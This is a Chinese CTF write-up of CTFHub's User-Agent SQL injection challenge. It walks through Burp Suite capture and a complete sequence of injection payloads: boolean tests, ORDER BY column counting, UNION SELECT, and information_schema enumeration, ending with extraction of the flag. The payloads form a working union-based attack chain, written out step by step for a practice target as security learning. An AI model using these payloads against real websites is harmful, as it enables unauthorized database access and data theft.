CTFHub | UA注入

素颜马尾好姑娘i 2024-03-31 09:43 88阅读 0赞

#### 0x00 前言 ####

CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF 学习入门门槛，快速帮助选手成长，跟随主流比赛潮流。

#### 0x01 题目描述 ####

> **UA注入：**
> 
> （无）

![3eca45f185fe40a4b4cc84e1d06f8246.png][] 网页显示内容

#### 0x02 解题过程 ####

根据题目显示内容，此题和上一题一致，需要在 UA 请求头中进行 SQL 注入。使用 burp suite 抓包工具抓取题目网站的信息，直接在 UA 请求中使用 payload 进行测试，发现此题存在 UA 注入。那么直接根据注入流程进行注入，最后发现此题 flag 存在于 klsedpegmy 数据中。

**Ⅰ**直接使用burp suite抓包工具抓取题目网站的信息

![95f88d3f01c04983bf8fab144e3a4e25.png][]

**Ⅱ**题目已经告诉我们输入点在UA中，那么直接在UA请求头中使用'1 and 1 = 1'进行测试

![a9dae542243643fba5d21b935d8ccbf2.png][]

1 and 1 = 1

**Ⅲ**继续在UA请求头中使用'1 and 1 = 2'进行测试，发现此题存在UA注入

![8d1fa52c2adc4a62b542a11313124328.png][]

1 and 1 = 2

**Ⅳ**使用order by 判断字段数量，从order by 1开始

![987c0c4e3d7d4c48afd43c01bbc290f9.png][]

1 order by 1

**Ⅴ**判断字段2，使用order by 2

![f98143355526489a85ef2396cabb4165.png][]

1 order by 2

**Ⅵ**判断字段3，使用order by 3，这里无回显，那么字段数量为2列

![5f11711713674c539125e43a6d8e48f4.png][]

1 order by 3

**Ⅶ**知道字段数量为2后，可以查看数据库位置，使用union select 1,2查看未发现数据

![41492d37d56b47d58c59da95549b02a9.png][]

1 union select 1,2

**Ⅷ**判断数据可能不存在数据库中，将1改为0查看数据，其他符号也可以

![76e98c987e7b4092bf4027d79e34665b.png][]

0 union select 1,2

**Ⅸ**修改2为version()，查看数据库版本，发现数据库版本为MariaDB 10.3.22

![f7d87a5c94624273952c9f9d0d94ec64.png][]

0 union select 1,version()

**Ⅹ**修改2为database()，查看数据库名，发现数据库版本为sqli

![794b790653094c8092217424f1f4c3e5.png][]

0 union select 1,database()

**ⅩⅠ**查看全部数据库名

![341aa8b01dbf4893969602d696a6793b.png][]

0 union select 1,group_concat(schema_name)from information_schema.schemata

**ⅩⅡ**在全部数据库名中发现sqli，最后在sqli数据库中发现xbjwugqhuq和news两个表名

![72cb56c4386c4f8886b938746dfee6ba.png][]

0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

**ⅩⅢ**先查看xbjwugqhuq表中的全部字段名，发现一个数据名为klsedpegmy

![7c886ac74e824266bdb4a6c30d6d9049.png][]

0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='xbjwugqhuq'

**ⅩⅣ**查看数据klsedpegmy中的内容，发现此题flag

![d89243c84de14490be92b6063c9cd2fd.png][]

0 union select 1,group_concat(klsedpegmy) from sqli.xbjwugqhuq

#### **0x03 User Agent 注入概述** ####

>  User-Agent 首部包含了一个特征字符串，用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。一些网站会把用户的 UA 首部信息写入数据库，用来收集和统计用户信息，如果操作不当就有可能会导致 UA 注入。

#### **0x04 参考文献** ####

> \[1\].mdn web docs. User-Agent\[EB/OL\]. \[2022-11-23\]. https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/User-Agent.
> 
> \[2\].资深程序员的转型渗透之路. UA头注入Cookie注入Referer注入\[EB/OL\]. \[2022-11-23\]. https://blog.csdn.net/Jerry\_GuJY/article/details/124061062?spm=1001.2014.3001.5502.

#### **0x05 总结** ####

文章内容为学习记录的笔记，由于作者水平有限，文中若有错误与不足欢迎留言，便于及时更正。

[3eca45f185fe40a4b4cc84e1d06f8246.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/126a10b2560f4aba897fe0df40534c56.png
[95f88d3f01c04983bf8fab144e3a4e25.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/4d3a5e16967d4df891352306426207e8.png
[a9dae542243643fba5d21b935d8ccbf2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/93abeb6c78be46b18643721b9dc631b5.png
[8d1fa52c2adc4a62b542a11313124328.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/9d82cb7cf820451b8a615b6df5b33217.png
[987c0c4e3d7d4c48afd43c01bbc290f9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/0d37d59312d64c23a2e551c7fd60a18c.png
[f98143355526489a85ef2396cabb4165.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/4038846d84de421faa2176aba2b55f6e.png
[5f11711713674c539125e43a6d8e48f4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/df9ecb23b5b64b99b3ff06bb19ea9bb5.png
[41492d37d56b47d58c59da95549b02a9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/5846d3d21eba477d8a7c1548b38e87bd.png
[76e98c987e7b4092bf4027d79e34665b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/878624538c804438a93611e374cd2d45.png
[f7d87a5c94624273952c9f9d0d94ec64.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/8401348d6cdb44a3934287ffc81805e7.png
[794b790653094c8092217424f1f4c3e5.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/0932c5e859e341d5acee6b6e1fb565a5.png
[341aa8b01dbf4893969602d696a6793b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/9e36b4fc40834e10be28c928c9ca9883.png
[72cb56c4386c4f8886b938746dfee6ba.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/63d5008a9c604b71ab0c0f0b659d596a.png
[7c886ac74e824266bdb4a6c30d6d9049.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/eefb94903e124f1cbd38031c427deb87.png
[d89243c84de14490be92b6063c9cd2fd.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/31/83af4f725b234eeaa703344a4206b4ab.png